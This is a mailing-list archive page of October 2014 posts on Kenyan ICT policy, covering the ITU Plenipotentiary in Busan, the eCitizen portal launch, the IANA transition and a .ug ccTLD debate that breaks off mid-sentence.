Listers, Konza Development Authority is looking for a suitable candidate for the position of Chief Executive Officer. (See attached advertisement). The deadline has been extended to* Friday, 7th November, 2014.* Kindly circulate widely across your networks. For more information contact: Abraham Odeng on aogaye(a)konzacity.go.ke Kind Regards, Phyllis Nyambura Communication Writer The ICT Authority Telposta Towers, 12th Floor, Kenyatta Ave P.O. Box 27150 - 00100 Nairobi, Kenya t: + 254-020-2211960/62 | m: + 254 (0) 789396433 | e: pnyambura(a)ict.go.ke Email: info(a)ict.go.ke or communications(a)ict.go.ke Visit: www.icta.go.ke <http://www.ict.go.ke/> Become a fan: www.facebook.com/ICTAuthorityKE <http://www.facebook.com/kenyaictboard> Follow us on twitter: @ICTAuthorityKE --------------------- -- ICT Authority Telposta Towers 12th Floor, Kenyatta Ave PO Box 27150 - 00100 Nairobi Kenya Tel: +254 20 2089061 www.icta.go.ke

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Re: [kictanet] Important link relating to the Plenipot in Busan Korea
by Ali Hussein 27 Oct '14

27 Oct '14

Rachel I'm glad that ITU has taken that stand and I'm even happier to be corrected in this matter because transparency is critical going forward regarding Internet Governance. In the same spirit going forward it would be nice and helpful if the ICT Ministry released to the community Kenya's position BEFORE such important global deliberations and that we jointly devise a way for inclusiveness in the delegations that represent the country. Thanks Rachel once again for the link. Regards Ali Hussein On Monday, 27 October 2014, Alwala, Rachel <Alwala(a)ca.go.ke> wrote: > Hello Ali, > > > > Kindly note that the Conference, at its start on 20th October 2014, > arrived at the decision to have provide access to all input documents, > as well as the outcome of the Conference to the public. This proposal was > endorsed by the Heads of Delegation and is in effect. All deliberations > are webcast and the transcripts are also available on the website at the > link: * http://www.itu.int/en/plenipotentiary/2014/Pages/webcast.aspx > <http://www.itu.int/en/plenipotentiary/2014/Pages/webcast.aspx>. * > > > > I believe this will help dispel the misconception that some > documents/deliberations/contributions are not openly available. > > > > Regards, > > > > > > *Rachel Alwala* > > Assistant Director/Communications & External Affairs > > Consumer and Public Affairs > > [image: Description: Description: > http://digital.scanad.com/casignature/img/logo.png] > > Tel: +254 20 4242000/475 > > Mobile: +254 703 042475/ > > +254 730172475 > > P.O. Box 14448 Nairobi 00800 > > [image: Description: Description: > http://digital.scanad.com/casignature/img/mail.png]alwala@ca.go.ke > <javascript:_e(%7B%7D,'cvml','alwala(a)ca.go.ke');> [image: Description: > Description: http://digital.scanad.com/casignature/img/facebook.png]Communications > Authority of Kenya <https://www.facebook.com/CAOKenya?ref=hl> [image: > Description: Description: > http://digital.scanad.com/casignature/img/twitter.png]ca_kenya > <https://twitter.com/CA_Kenya>[image: Description: Description: > http://digital.scanad.com/casignature/img/web.png]www.ca.go.ke > <http://www.ca.go.ke/> > > [image: Description: Description: > http://digital.scanad.com/casignature/img/border.png] > > *Disclaimer:* This email and any files transmitted with it are > confidential and intended solely for the use by the individual(s) or entity > to whom > it is addressed to. If you are not the intended recipient, you are > notified that disclosing, copying, distributing or taking any action > in reliance on the contents of this information is strictly prohibited. > Additionally, if you have received this email in error please notify the > sender > immediately by a reply e-mail. > > [image: Description: Description: > http://digital.scanad.com/casignature/img/green.jpeg] > > > > > > > > > > > > *From:* kictanet [mailto:kictanet-bounces+alwala > <javascript:_e(%7B%7D,'cvml','kictanet-bounces%2Balwala');>= > cck.go.ke(a)lists.kictanet.or.ke > <javascript:_e(%7B%7D,'cvml','cck.go.ke(a)lists.kictanet.or.ke');>] *On > Behalf Of *Ali Hussein via kictanet > *Sent:* 27 October 2014 06:33 > *To:* Alwala, Rachel > *Subject:* [kictanet] Important link relating to the Plenipot in Busan > Korea > > > > Listers > > > > For anyone interested in following issues on the above ITU meeting in > Korea. Please note that a lot of these documents are unavailable in the > public domain unless they are shared by the closed community within the > conference. > > > > http://wcitleaks.org > > > > We would also urge the ICT Ministry to share their contributions and other > deliberations at the conference with the community to enable us to engage > from a position of knowledge. > > > > And from a Non-Governmental point of view Grace and Barrack, please keep > us posted. > > > > Thanks > > > > Regards > > *Ali Hussein* > > > > +254 770 906375 / 0713 601113 > > > > Twitter: @AliHKassim > > Skype: abu-jomo > > LinkedIn: http://ke.linkedin.com/in/alihkassim > > Blog: www.alyhussein.com > > > > "I fear the day technology will surpass human interaction. The world > will have a generation of idiots". ~ Albert Einstein > > > > Sent from my iPad > -- Ali Hussein Sent from Gmail Mobile

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Important link relating to the Plenipot in Busan Korea
by Ali Hussein 27 Oct '14

27 Oct '14

Listers For anyone interested in following issues on the above ITU meeting in Korea. Please note that a lot of these documents are unavailable in the public domain unless they are shared by the closed community within the conference. http://wcitleaks.org We would also urge the ICT Ministry to share their contributions and other deliberations at the conference with the community to enable us to engage from a position of knowledge. And from a Non-Governmental point of view Grace and Barrack, please keep us posted. Thanks Regards Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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ICYMI- What to Watch at the ITU Plenipotentiary Conference 2014 from Access
by Ephraim Percy Kenyanito 25 Oct '14

25 Oct '14

Dear all, ICYMI- Here's Access' Plenipot policy brief, "What to Watch at the ITU Plenipotentiary Conference 2014," Hope you might find this resource useful it provides an overview of the top procedural and substantive concerns to look out for at the Plenipot as well as recommendations for relevant and productive areas for the ITU to focus its work on in the coming four years. Please feel free to share: https://www.accessnow.org/page/-/docs/WhattoWatchatPlenipot_2.pdf -- Best Regards, *Ephraim Percy Kenyanito* Website: http://about.me/ekenyanito @ekenyanito PGP: E6BA8DC1

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FYI: Morocco ICANN meeting in jeopardy due to Ebola crisis
by waudo siganga 24 Oct '14

24 Oct '14

http://post.milathan.com/2014/10/morocco-icann-meeting-in-jeopardy-due-to-e…

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BD Executive required
by jwaruingi＠advantech.co.ke 23 Oct '14

23 Oct '14

Dear Lister, Business Development Executive required. Please circulate to your networks. Regards >

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Fw: Re: [discuss] ITU PP-14 has started in Busan, Korea
by Walubengo J 23 Oct '14

23 Oct '14

Folks, Good to keep tabs on what our cousins @ ITU are upto. Visit http://www.itu.int/en/plenipotentiary/2014/statements/Pages/default.aspx walu. --- On Tue, 10/21/14, Adam <ajp(a)glocom.ac.jp> wrote: > From: Adam <ajp(a)glocom.ac.jp> > Subject: Re: [discuss] ITU PP-14 has started in Busan, Korea > To: "Janis Karklins" <karklinsj(a)gmail.com> > Cc: "1net Discussion List" <discuss(a)1net.org> > Date: Tuesday, October 21, 2014, 1:22 PM > Cut and paste the URL > > http://www.itu.int/en/plenipotentiary/2014/statements/Pages/default.aspx > > or directed to a Latvian govt > portal :-) > > Adam > > > > On > Oct 21, 2014, at 7:10 PM, Janis Karklins wrote: > > > Statements at the PP14 > can be found on: > > http://www.itu.int/en/plenipotentiary/2014/statements/Pages/default.aspx > > > > On Tue, Oct 21, 2014 > at 10:09 AM, Nigel Hickson <nigel.hickson(a)icann.org> > wrote: > > Good morning > > > > A good way to > remotely follow developments is to follow #Plenipot14 and in > particular tweets from @sgdickinson > > > > Best > > > > Nigel > > > > > > Sent from my > iPhone > > > > > On 21 > Oct 2014, at 05:40, Adam <ajp(a)glocom.ac.jp> > wrote: > > > > > > > > > >> On Oct 21, 2014, at 1:21 > PM, Veni Markovski wrote: > > >> > > >> Statements are important. Even > more is what you think about the internet-related documents, > which are now publicly accessible on the ITU site. > > > > > > <https://www.itu.int/en/plenipotentiary/2014/Pages/default.aspx> > > > > > > Internet > Society's work very helpful > > > > > > <http://www.internetsociety.org/blog/public-policy/2014/10/itu-plenipotentia…> > > > > > > > Particularly the issues matrix <http://www.internetsociety.org/doc/key-resolutions-and-issues-watch-2014-it…> > > > > > > Adam > > > > > > > > > > > > > > >> On Tuesday, October 21, 2014, > Adam <ajp(a)glocom.ac.jp> > wrote: > > >> Thanks Paul. > > >> > > >> New > civil society statement might be of interest -- and I hope > will gain support, see http://bestbits.net/itu-plenipot-notes/ > > >> > > >> > Adam > > >> > > > >> > > >>> > > >>> On Mon, Oct 20, 2014 at 4:38 > PM, Anne Jellema <anne(a)webfoundation.org> > wrote: > > >>> Dear colleagues > > >>> > > > >>> As you know, a fluid working group was formed > after the IGF to try to come up with joint recommendations > for the ITU Plenipot. We produced the open letter on > transparency and participation in the Plenipot process > itself, which many of you signed (thank you!). Our second > and harder task was to develop positions on some of the most > important substantive issues before the conference. The > output of this second phase of our work is a 7 page lobby > document that is now available for endorsement for the next > 24 hours at: > > >>> > > >>> http://bestbits.net/itu-plenipot-notes > > >>> > > > >>> The fluid working group struggled to obtain the > conference proposals on which to base our analysis and > recommendations, both because of the ITU's restrictions > on document access and because many Member States submitted > their proposals quite late in the day. As a result, our > drafting process has taken us hard up against the start of > the Plenipot itself. > > >>> > > >>> It is now very urgent to get > this text in front of delegations, so we are opening it for > endorsements rather than comment. If however someone has a > red flag, "absolutely can't live with it" > issue that prevents them from signing on, they should email > me personally in the next 24 hours to propose an edit(s) to > resolve this issue, and I will consult the other members of > the ITU fluid working group on whether to accept this > edit. > > >>> > > > >>> Due to the lack of time for comment and > consensus, we are not presenting these recommendations in > the name of Best Bits or on behalf of civil society in > general but only on behalf of the specific organisations > endorsing. > > >>> > > >>> If you would like your > organisation to be listed, please send your logo to Carolina > Rossini (crossini(a)publicknowledge.org) > by 22:30 CET (16:30 EST) tomorrow, 21 Oct. > > >>> > > > >>> Best wishes > > >>> > Anne > > >>> > > > >>> -- > > >>> Anne > Jellema > > >>> CEO > > >>> +27 061 36 9352 (ZA) > > >>> +1 202 684 6885 (US) > > >>> @afjellema > > >>> > > > >>> World Wide Web Foundation | 1110 Vermont Ave > NW, Suite 500, Washington DC, 20005, USA | > www.webfoundation.org | Twitter: @webfoundation > > >> > > >> > > >> > > >>> > On Oct 21, 2014, at 12:07 PM, Paul Wilson wrote: > > >>> > > > >>> Friends, > > >>> > > >>> You are probably aware that > the ITU’s 2014 plenipotentiary conference started > yesterday, and will run for the next 3 weeks. > > >>> > > > >>> The event webcast is available here: > > >>> > > > >>> https://www.itu.int/en/plenipotentiary/2014/Pages/webcast.aspx > > >>> > > > >>> and please note the links to real time > captioning services on this page. > > > >>> > > >>> For twitter, > the “official" hashtag is #Plenipot14 > > >>> > > > >>> > > >>> If anyone is > aware of useful reports or commentaries on the meeting as it > goes on, hope you will share them here. > > > >>> > > >>> All the > best > > >>> > > > >>> Paul. > > >>> > > >>> > > > >>> > ________________________________________________________________________ > > >>> Paul Wilson, > Director-General, APNIC > <dg(a)apnic.net> > > >>> http://www.apnic.net > +61 7 3858 3100 > > >>> > > > >>> > > >>> > > >>> > > > >>> > _______________________________________________ > > >>> discuss mailing list > > >>> discuss(a)1net.org > > >>> http://1net-mail.1net.org/mailman/listinfo/discuss > > >> > > >> > > >> > _______________________________________________ > > >> discuss mailing list > > >> discuss(a)1net.org > > >> http://1net-mail.1net.org/mailman/listinfo/discuss > > >> > > >> > > >> -- > > >> > Best, > > >> Veni > > >> http://veni.com > > > >> https://facebook.com/venimarkovski > > >> https://twitter.com/veni > > >> *** > > >> > The opinions expressed above > > >> > are those of the author, not of > > > >> any organizations, associated > > > >> with or related to him in > > > >> any given way. > > >> *** > > >> > > >> > > >> == Sent from my phone, so any > spelling mistakes are caused by the touchscreen keyboard. > Also, that's the reason for using short words and > phrases. > > > > > > > > > > > _______________________________________________ > > > discuss mailing list > > > discuss(a)1net.org > > > http://1net-mail.1net.org/mailman/listinfo/discuss > > > > > _______________________________________________ > > discuss mailing list > > > discuss(a)1net.org > > http://1net-mail.1net.org/mailman/listinfo/discuss > > > > > _______________________________________________ > discuss mailing list > discuss(a)1net.org > http://1net-mail.1net.org/mailman/listinfo/discuss

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Mobile Apps in Kenya - Any thats known to be making money?
by Bernard Kioko 22 Oct '14

22 Oct '14

Hi, Is there any mobile app from Kenya that's known to be generating income for the developer? I am interested to know. Over the last few years I have seen a lot of focus on young people being told to make mobile apps. Are we consuming them? I am sure SMS and USSD apps that make money do exist. Thoughts? -- * ------------------------------ * This e-mail and any attachments may contain information that is confidential, legally privileged and protected by law and is intended for the sole use of the named recipient(s). Any unauthorized review, use, or disclosure or distribution is prohibited. Any liability (in negligence or otherwise) arising from any third party acting, or refraining from acting on any information contained in this email is hereby excluded. If you are not the intended recipient, please delete the contents and notify the sender immediately; do not disclose the contents to any other person, use it for any purpose or store or copy the information in any medium. Whilst our e-mails are checked for viruses, we cannot guarantee that this message or any attachment is virus free, does not contain malicious code or is incompatible with your electronic system and the Company does not accept liability in respect of viruses, malicious code or any related problems that you might experience. For further information about us, please contact us at the address indicated below. Bernsoft Interactive Limited - P O Box 15177-00100 Nairobi - Tel: +254 722 929192 Email: admin(a)bernsoft.com Web: www.bernsoft.com

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www.ecitizen.go.ke goes live...quietly
by Gideon 22 Oct '14

22 Oct '14

+1 Ali and Kivuva, T his is good progress, the web designers should ensure that the registration/verification email does not end up in the spam folder so that users can have ensured validity. Overall i think we could help the design team with comments for hitches or bugs at this 'test phase' as we browse through the portal. Regards Gideon Rop DotConnectAfrica > > Thanks Ali for sharing. > > Probably it's on testdrive, the reason for the silence. I like the > interface and simplicity of the system. Simplicity is a virtue. > > Just some comments, my email verification to signup to the ecitizen.co.ke > portal is being delivered straight to the spam folder by Gmail. The team > working on the system should see that the IP address is not blacklisted. > > You can renew or replace your driving license online here > https://ntsa.ecitizen.go.ke/ > I hope the service will be integrated so that we renew the DL online and > don't have to print and glue that paper on the driving license. I am sure > this system will be integrated with the smart-card driving license. > Currently " You can now renew your drivers license online, pay using > mobile money services of your choice and print your renewal slip. You will > need your Ref no found in bracket in C of C in your driving license page > 1." > > ______________________ > Mwendwa Kivuva, Nairobi, Kenya > twitter.com/lordmwesh > > "There are some men who lift the age they inhabit, till all men walk on > higher ground in that lifetime." - Maxwell Anderson > > On 22 October 2014 13:59, Ali Hussein via kictanet < > kictanet(a)lists.kictanet.or.ke> wrote: > > > Listers > > > > Finally! The eCitizen portal is live. > > > > A for effort. > > > > Still test driving it. I'm sure the ministry will appreciate the > feedback > > from the community so please go on and log in! > > > > *Ali Hussein* > > > > > > > > > > > > Tel: +254 770 906375/ 713 601113 > > > > Twitter: @AliHKassim > > > > Skype: abu-jomo > > > > LinkedIn: http://ke.linkedin.com/in/alihkassim > > <http://ke.linkedin.com/in/alihkassim> > > > > Blog: www.alyhussein.com > > > > > > Any information of a personal nature expressed in this email are purely > > mine and do not necessarily reflect the official positions of the > > organizations that I work with. > > > > _______________________________________________ > > kictanet mailing list > > kictanet(a)lists.kictanet.or.ke > > https://lists.kictanet.or.ke/mailman/listinfo/kictanet > > > > Unsubscribe or change your options at > > > https://lists.kictanet.or.ke/mailman/options/kictanet/kivuva%40transworldaf… > > > > The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform > > for people and institutions interested and involved in ICT policy and > > regulation. The network aims to act as a catalyst for reform in the ICT > > sector in support of the national aim of ICT enabled growth and > development. > > > > KICTANetiquette : Adhere to the same standards of acceptable behaviors > > online that you follow in real life: respect people's times and > bandwidth, > > share knowledge, don't flame or abuse or personalize, respect privacy, do > > not spam, do not market your wares or qualifications. > > >

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New OGP Plan open for public consultation
by Grace Githaiga 22 Oct '14

22 Oct '14

http://www.icta.go.ke/draft-ogp-action-plan-kenya-2014/

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www.ecitizen.go.ke goes live...quietly
by Ali Hussein 22 Oct '14

22 Oct '14

Listers Finally! The eCitizen portal is live. A for effort. Still test driving it. I'm sure the ministry will appreciate the feedback from the community so please go on and log in! *Ali Hussein* Tel: +254 770 906375/ 713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim <http://ke.linkedin.com/in/alihkassim> Blog: www.alyhussein.com Any information of a personal nature expressed in this email are purely mine and do not necessarily reflect the official positions of the organizations that I work with.

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What is the position of the Kenyan government delegation to the Plenipot14?
by Mwendwa Kivuva 22 Oct '14

22 Oct '14

The ITU meeting started on 21st October 2014 in Busan, South Korea and will run for 3 weeks. ISOC Kenya Chapter is represented by several members who will share their experiences with the list. I hope our delegation on the ground will be reporting regularly on the daily outcomes of this important conference. Internet Society position on the ITU meeting is: 1. There is wide consensus that there is no single "governance" structure for the Internet. Nor is there a single, global platform that can serve to coordinate, organize or govern all the issues that may arise. 2. The Plenipotentiary should not adopt policies that lead to a regulatory role for the ITU in the governance of the Internet. 3. The Plenipotentiary will not agree to place the future of the Internet policy development under the control of an inter-governmental organization. 4. Make the Plenipot more transparent, to listen to the voices of stakeholders and to be responsive to the concerns we and other stakeholders have brought to the ITU The event webcast is available here: https://www.itu.int/en/plenipotentiary/2014/Pages/webcast.aspx and please note the links to real time captioning services on this page. Policy statements and speeches are available here: http://www.itu.int/en/plenipotentiary/2014/statements/Pages/default.aspx For twitter, the "official" hashtag is #Plenipot14 Some civil societies have issued statemets that may be of interest to us and they can be found here: http://bestbits.net/itu-plenipot-notes/ The Internet Society has released a statement on it's position on the ITU Plenipotentiary meeting. The statement by the ISOC president is available here:http://www.internetsociety.org/blog/public-policy/2014/10/road-busan The ISOC VP of global policy too has a statement on the meeting here: http://www.internetsociety.org/blog/public-policy/2014/10/itu-plenipotentia… *What is the position of the Kenyan government delegation to the Plenipot14?* Warm Regards, ______________________ Mwendwa Kivuva, Nairobi, Kenya Secretary, Internet Society Kenya Chapter.

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Fw: Logo Competition in Commemoration of 10 Years of AFRINIC
by Walubengo J 22 Oct '14

22 Oct '14

For the creative minds/designers. Plse accept the challenge below. walu. --- On Wed, 10/15/14, AFRINIC Communication <comm-announce(a)afrinic.net> wrote: > From: AFRINIC Communication <comm-announce(a)afrinic.net> > Subject: Logo Competition in Commemoration of 10 Years of AFRINIC > To: members(a)afrinic.net > Date: Wednesday, October 15, 2014, 12:10 PM > Calling all artists and design > enthusiasts! > > In commemoration of its 10 years of existence, AFRINIC > invites all individuals to participate in this anniversary > celebration. > > For this occasion, AFRINIC is organising a logo competition > to draw all design talents for this proud moment. > > The winning logo design will be featured on all AFRINIC > communication materials, both in print and online throughout > the Year 2015. It will also be used during the Africa > Internet Summit and the AFRINIC-23 Meeting. > > Prizes > > The winner will receive a certificate of appreciation from > AFRINIC in addition to a prize. > > How to Enter > > Submit entries by uploading your designs at: http://meeting.afrinic.net/afrinic-21/en/agenda/logo-competition > as a scalable vector graphic in EPS format, and also as > a JPG. > > Include in your submission form your name, age, postal > address, phone number and email address. > > There is no fee to enter the Contest and only a maximum of 3 > Entries can be submitted per contestant. > > Required Elements > > The logo must contain the image of AFRINIC’s current > corporate logo, which can be found at https://www.afrinic.net/en/about-us/branding > > The colors to be used are Black, Orange, and/or Gray on a > white background. > > The logo must also contain the words “AFRINIC 10 > years”. > > The logo must not contain any other text besides that > required above. > > Upload your submission through our online web form at : http://meeting.afrinic.net/afrinic-21/en/agenda/logo-competition > > Entry Deadline > > The deadline for Entries is 9 November 2014 at > midnight UTC. > > *** Disclaimer: The winning design of AFRINIC’s 10 > years and all other designs submitted will become the > property of AFRINIC and cannot be used by designer for any > other purpose. > > Good luck! > > Regards > > AFRINIC Team > > _______________________________________________ > AfriNIC - The internet numbers registry for Africa

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Developing mobile or IoT apps | Developer Economics
by Mbugua Njihia 22 Oct '14

22 Oct '14

VisionMobile has just launched their latest Developer Economics survey and is tracking developer trends across platforms, app revenues and dev tools - as well as investigating the emerging IoT market. The key findings from the survey will become available in the form of a free research report in February. Aside from contributing to the research, respondents to the survey will also get a chance to win some great prizes, including an iPhone 6, an Oculus Rift DevKit, and a Samsung Gear Smartwatch! You can take the survey here: http://vmob.me/DE1Q15Symbiotic

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Re: [kictanet] IANA Transition does Kenya have anything to say
by waudo siganga 21 Oct '14

21 Oct '14

Awareness is another problem. I am just from an International Internet Security conference in Dar es Salaam. The conference is 5 days and though I spent only 2 days there I never heard ICANN or IANA mentioned. I met one guy from TZ who said he is an Internet Security expert but he seemed not to know ICANN. On Tue, Oct 21, 2014, at 07:29 AM, Harry Hare | African eDevelopment Resource Centre via kictanet wrote: > Hey Badru, > > You you have explained has been my biggest criticism of the ICANN process > and of course of the ICANN cousins. Local businesses will only engage > with > a process that they perceive is relevant to their bottom line. The > American and some European companies get the ICANN and wider internet > issues and they are pretty much embedded in the process looking out for > opportunities and also making sure that there interests are taken care > of, > but not African businesses who have become whole sale consumers of policy > yet they have an opportunity to engage and become part of the process and > define the future together with the rest of the world. > > And when I say local businesses I am not looking at the Telcos and other > internet companies, I am talking about companies such as Kenya Airways, > East African Breweries, Kakuzi Ltd etc. > > My ration for the month :-) > > Harry Hare > > Director | African eDevelopment Resource Centre > PO Box 49475 00100 | Nairobi, Kenya > Tel +254 20 4041646 | Cel +254 725 650044 > > > > > > > On 10/17/14, 11:44 AM, "Badru Ntege via kictanet" > <kictanet(a)lists.kictanet.or.ke> wrote: > > >HI Barrack and all > > > >I think the main question would not only be anything to loose but also > >what are the gains. The worrying thing in all the limited engagement is > >that at this moment our communities all seem to think that IANA, ICANN etc > >are way out of their circle of influence. So we are aware of the goings > >on but they are in our circle of concern. The general assumption seems to > >be that whatever the outcome there is very short term impact on business > >as usual. > > > >The challenge is that we have not been able to breakdown the issues to a > >point of relevancy to the common internet user. > > > >How we break these issues down is still the biggest challenge. > > > >Regards > > > > > > > > > > > > > > > > > >On 10/16/14, 1:29 AM, "Barrack Otieno via kictanet" > ><kictanet(a)lists.kictanet.or.ke> wrote: > > > >>Listers, > >> > >>I wonder how our local Internet community is engaged in the ongoing > >>debate on the IANA transition, as a country do we have anything to > >>lose? > >> > >>Best Regards > >> > >>_______________________________________________ > >>kictanet mailing list > >>kictanet(a)lists.kictanet.or.ke > >>https://lists.kictanet.or.ke/mailman/listinfo/kictanet > >> > >>Unsubscribe or change your options at > >>https://lists.kictanet.or.ke/mailman/options/kictanet/badru.ntege%40nftco > >>n > >>sult.com > >> > >>The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform > >>for people and institutions interested and involved in ICT policy and > >>regulation. The network aims to act as a catalyst for reform in the ICT > >>sector in support of the national aim of ICT enabled growth and > >>development. > >> > >>KICTANetiquette : Adhere to the same standards of acceptable behaviors > >>online that you follow in real life: respect people's times and > >>bandwidth, share knowledge, don't flame or abuse or personalize, respect > >>privacy, do not spam, do not market your wares or qualifications. > > > > > >_______________________________________________ > >kictanet mailing list > >kictanet(a)lists.kictanet.or.ke > >https://lists.kictanet.or.ke/mailman/listinfo/kictanet > > > >Unsubscribe or change your options at > >https://lists.kictanet.or.ke/mailman/options/kictanet/harry%40africanedeve > >lopment.org > > > >The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform > >for people and institutions interested and involved in ICT policy and > >regulation. The network aims to act as a catalyst for reform in the ICT > >sector in support of the national aim of ICT enabled growth and > >development. > > > >KICTANetiquette : Adhere to the same standards of acceptable behaviors > >online that you follow in real life: respect people's times and > >bandwidth, share knowledge, don't flame or abuse or personalize, respect > >privacy, do not spam, do not market your wares or qualifications. > > > > _______________________________________________ > kictanet mailing list > kictanet(a)lists.kictanet.or.ke > https://lists.kictanet.or.ke/mailman/listinfo/kictanet > > Unsubscribe or change your options at > https://lists.kictanet.or.ke/mailman/options/kictanet/emailsignet%40mailcan… > > The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform > for people and institutions interested and involved in ICT policy and > regulation. The network aims to act as a catalyst for reform in the ICT > sector in support of the national aim of ICT enabled growth and > development. > > KICTANetiquette : Adhere to the same standards of acceptable behaviors > online that you follow in real life: respect people's times and > bandwidth, share knowledge, don't flame or abuse or personalize, respect > privacy, do not spam, do not market your wares or qualifications.

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Re: [kictanet] IANA Transition does Kenya have anything to say
by Barrack Otieno 21 Oct '14

21 Oct '14

Listers, I wonder how our local Internet community is engaged in the ongoing debate on the IANA transition, as a country do we have anything to lose? Best Regards

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How to ensure success of ITeS enabled National Masterplans
by Mbugua Njihia 17 Oct '14

17 Oct '14

Many of the masterplans presented by the digital government, whether carried forward from previous regimes or structured as part of election manifestos have information technology or knowledge sharing as a key component. Since they are likely to take more than two political cycles to realize, the frameworks for success must be solidly in place to avert personality driven projects and ensure continuity regardless of the leadership in place. Find my thoughts on this here - http://www.mbuguanjihia.com/business/ensure-success-ites-enabled-national-m…

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iTunes Video
by Adam Nelson 16 Oct '14

16 Oct '14

HBO recently announced that they would be launching a streaming service to non-cable customers next year ... but only in the US. This got me thinking about what the current state of iTunes video is and I came to this list: http://support.apple.com/kb/ts3599#video_content Does anybody know why Zimbabwe, Guinea Bissau, Ghana, Niger, Egypt and a bunch of other African countries are there but not Nigeria, Angola, Rwanda, Tanzania, or Kenya? Is there some sort of intellectual property law that hasn't been passed here? It can't be market size since Kenya, Nigeria, and Angola are some of the biggest markets. -Adam -- Kili - Cloud for Africa: kili.io Musings: twitter.com/varud <https://twitter.com/varud> More Musings: varud.com About Adam: www.linkedin.com/in/adamcnelson

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Vision 2030: A meeting of Industry, Policy Makers, Technologists, Innovators and Educators
by Sean Moroney 16 Oct '14

16 Oct '14

Dear Listers, The IEEE meeting next week, which is focussed on technology and investment strategies for Vision 2030 is a great opportunity to share ideas and perspectives with fellow stakeholders. The invitation is attached. Participation is free, on application. Please email mikeo@aitecafrica if you would like to attend. Regards, Sean Moroney Chairman AITEC Africa seanm(a)aitecafrica.com|Skype: seanmoroney UK Mobile: +44(0)7973499224|Kenya Mobile: +254(0)721845674 www.aitecafrica.com<http://aitecafrica.com/> [AITEC-East-Africa-signature banner] Follow us on: LinkedIn<https://www.linkedin.com/company/535138?trk=vsrp_companies_res_name&trkInfo…> Facebook<https://www.facebook.com/pages/Aitec-Africa/143207745706922?ref=ts&fref=ts> Twitter<https://twitter.com/aitecafrica> YouTube<http://www.youtube.com/channel/UCgwROsywDI7i9AYHAHnL67Q> AITEC Africa is the trading name of AITEC Conferences Ltd UK registration number 4698475 From: Mike Otieno Sent: 16 October 2014 11:26 To: bella.akinyi(a)kam.co.ke Cc: Sean Moroney; Joyce Wambu; Judith Orjiako Subject: Vision 2030: A meeting of Industry, Policy Makers, Technologists, Innovators and Educators Hi Bella, It was nice speaking to you this morning about this event scheduled for 22nd-23rd October at the Intercontinental Hotel. Please see attached the invitation letter as well as a brochure that will give you more details about the event. I would really appreciate if this invitation can be sent out to your relevant members to RSVP. I will make a follow-up phone call on this. Kind Regards, Mike Mike Otieno Event Marketing Manager AITEC Africa mikeo(a)aitecafrica.com<mailto:mikeo@aitecafrica.com> Mobile: +254(0)723764118 Skype:mike.otieno3 Twitter:@myquestmike www.aitecafrica.com<http://www.aitecafrica.comfollow/> Follow us on twitter: http://twitter.com/aitecafrica

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The .ug debate: Is Re-delegation Necessary? Comparison with .ke
by Mwendwa Kivuva 15 Oct '14

15 Oct '14

Uganda seems to want to go the .KE way (public ownership), while .KE wants to go the .UG way (private ownership). Are there any lessons the two registries can learn from each other? http://www.newvision.co.ug/news/368-blogger-the-ug-debate-is-redelegation -necessary.aspx *There has been a lot said about the .ug ccTLD (Country Code Top Level Domain) management over the years and by the look of things we seem to be reaching the peak of this debate. * Legislators have been drawn into the debate and judging from what we hear them say, there is definitely a lot of misinformation going on. There is cause for concern when one comes across news headlines like, "A Private Firm Owns Uganda's Internet Domain Name" and MP Taaka's query that "Is Uganda safe considering that .UG as a domain name is privately owned?" For starters, a ccTLD is a two letter domain name extension that corresponds to a country (.ke - Kenya, .tz - Tanzania, .rw - Rwanda, .uk - United Kingdom) , territory or geographic location. So, to make things clear, .ug isn't a domain name as is being insinuated in the discussions going on in the august house. In the early 1990s at the start of the globalised internet age, ccTLDs were issued to various countries and for those that never had the capacity to manage them, help came from ICANN through various agencies. Uganda was one of those countries that never had the capacity and Randy Bush <http://www.internethalloffame.org/inductees/randy-bush> an Internet Pioneer and founder of the Network Startup Resource Centre (NSRC) <http://www.nsrc.org> volunteered to carry out the technical management of the .ug ccTLD. Around the same period, a then youthful and ambitious Ugandan Engineer, Charles Musisi <http://ug.linkedin.com/in/charlesi3c> had picked a lot of interest in the nascent internet technologies of the times. His interest led him to set up the first email service in Uganda (FIDO-NET) and as well join a group of internet pioneers on the African continent. This interest and exposure led him to pick interest in the management of the .ug ccTLD as far back as the mid 1990s. On application, he was assigned the administrative rights and Randy Bush continued to offer the technical management support as Charles' company then, Uganda Online (now called Infinity Computers and Communications Company Ltd - i3C) started developing local capacity to do the same. Eventually, he was able to wean off Randy Bush's support and his company took over full technical and administrative management of the ccTLD. Did he buy the .ug ccTLD as is alleged? NO. Around the same time, his colleagues in Kenya and Tanzania also undertook management of their countries' ccTLDs albeit with mixed results. Dr. Shem Ochuodho was eventually booted out of .ke ccTLD Management having failed to perform to the expectations of the community which led to the set up of KENIC <http://www.kenic.or.ke>. It is worth noting that Uganda Online was able to successfully commercialise the management of the .ug ccTLD and this is evidenced by the fact that the ccTLD has operated in a stable environment over the years without seeking any financial aid. However, like anything, change in the internet landscape will always necessitate changes in the supporting technologies and services. Currently, there has been a significant growth in the state's interest in ICT infrastructure and services provision. This has seen the country undertake numerous interventions like the roll out of the National Fibre Backbone, promotion of the Business Process Outsourcing, e-Government implementation among others. The .ug is also being looked at as one of those services that are likely to help fill the puzzle of ICT proliferation in Uganda. The Draft Policy Framework for the management of the .ug ccTLD has as its major objective, "to formalize management of .ug Country Code Top Level Domain Name and come up with a management framework that will ensure transparency and greater accountability towards the Internet community of Uganda and the rest of the Global Internet Community." The current status-quo is characterised by: * Efficient assignment of domain names * Decent Support for technical issues * Uniform domain registration costs * Stable Domain Name System (DNS) services It is clear that i3C <http://www.i3c.co.ug> is performing well on the technical front and not much can be said in that regard. However, as a private company, it has limitations on what can be achieved especially if one asks the following questions; 1. What governance systems are in place for the .ug ccTLD as a national resource currently? 2. What policies and procedures are there for the issuance, renewal, and arbitration of domain related disputes? 3. If policies are present, who designed them and was there community participation? 4. What strategies are in place to promote the usage of .ug by nationals? 5. What universal access measures are in place to ensure that various 